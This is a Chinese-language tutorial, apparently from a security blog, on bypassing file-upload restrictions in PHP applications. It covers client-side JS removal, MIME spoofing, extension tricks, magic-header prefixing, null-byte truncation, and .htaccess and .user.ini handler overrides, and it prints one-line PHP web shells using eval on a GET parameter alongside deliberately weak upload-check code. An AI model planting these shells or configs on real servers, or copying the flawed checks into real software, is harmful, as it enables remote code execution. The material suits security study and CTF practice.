绕过的思考
web应用程序往往允许客户端上传文件,但是程序员如果不对上传的文件进行验证和限制就会导致文件上传漏洞。检测上传的文件有俩方面,客户端检测和服务器端检测。
客户端绕过
客户端是通过js代码来实现对文件的检测。那么攻击者就可以控制js代码来绕过或者修改http请求绕过。
控制js代码
一段前端代码
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
当选择完上传文件之后,会提交From表单。From表单触发onsubmit事件,onsubmit事件会调用checkfile函数。可以直接将From表单里的onsubmit事件删除,即可绕过。
bp修改请求数据包
bp抓到传输的数据包修改filename文件的扩展名,同时修改Content-Length(Content-Length表示实体正文的长度)。
比如:Content-Length长度是200,filename是"xss.jpg";filename修改为"1.php",Content-Length长度就应该变为198,如果不修改那么文件上传就可能会失败。
服务器端绕过
前端验证毕竟简单,所以后端验证显得尤为重要。服务器端验证主要包括以下几种:
MIME检测
MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时浏览器会自动使用指定的应用程序打开。如GIF图片MIME类型为image/gif,CSS文件MIME类型为text/css。在HTTP中对应的是Content-Type。
上传PHP文件时,HTTP请求里的Content-type字段对应的就是MIME类型,修改Content-type字段即可绕过MIME类型的检测。通常情况下只要上传文件MIME都要修改的。有时候用image/jpg有时用image/jpeg
MIME验证代码
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>alert('文件类型不正确')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
?>
phtml绕过
上传php后缀名的文件,可以实现对后端的控制。有时候后端会查看是否后缀有php字样,这个时候可以用phtml后缀名绕过。.php与.phtml文件基本没有太大的区别。
双写后缀
先看一段php代码,这段代码很明显是查看$namel里面存不存在黑名单里的内容,如果存在就把它替换为“”。绕过策略很简单构造pphphp的后缀文件即可。
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
文件头检查
所谓的文件头检查是当上传文件后,服务器端的PHP代码对文件的文件头进行名单验证,符合上传规则就上传成功,反之上传失败。
文件头的相关知识:百度文件头介绍及常见的文件头。值得一提的是txt文件是没有文件头的,相同的内容的php文件与txt文件用winhex打开后内容是一样的。
绕过的策略:将jpg,png等符合上传规则的文件文件头截取,复制到php文件最前部分即可实现绕过。
- GIF的文件头
GIF98a
<?被过滤
<?
被过滤怎么办?一句话木马的形式
<?php @eval($_GET['cmd']); ?>
<? @eval($_GET['cmd']); ?>
<script language='php'> @eval($_GET['cmd']); </script>
00截断
php环境00截断的条件
- php版本小于5.3.29
- magic_quotes_gpc = Off
在读取字符串时遇到%00可以截断字符串。ctf不同的00截断题目有不同的解法。ctfhub 00截断,这道题的WP。
PHP pathinfo函数
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']); //basename() 函数返回路径中的文件名部分
$info = pathinfo($name);
$ext = $info['extension']; // 文件后缀名
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des))
// move_uploaded_file函数是00截取的关键,遇到%00之后将忽略%00之后的字符串,存储路径变为%00之前的路径。
{
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
.htaccess绕过
.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。.htaccess详解。
上传一个.htaccess文件修改配置信息,然后在上传一个命令执行文件就可以造成上传漏洞。大佬的文件漏洞博客。
但是这也不是万能的如果不允许上床.htaccess文件或者是nginx 1.10.3等直接不存在解析漏洞这个办法自然也行不通。
<FilesMatch "is">
setHandler application/x-httpd-php
</FilesMatch>
后缀为is的文件解析为PHP文件
AddType application/x-httpd-php jpg
后缀为jpg结尾的文件当作PHP文件
.user.ini后门绕过
- .user.ini 类似.htaccess文件
它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法
.user.ini实际上就是一个可以由用户“自定义”的php.ini
我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载 - .user.ini 利用条件如下:
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件 - auto_prepend_file,auto_append_file
类似于在文件前调用了require()函数
是一个php配置项
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门- auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件,
- auto_append_file 是在php代码执行完毕后加载的文件
.user.ini
auto_prepend_file = 1.jpg
//在.user.ini的目录下有可执行的php文件,php文件执行前包含1.jpg文件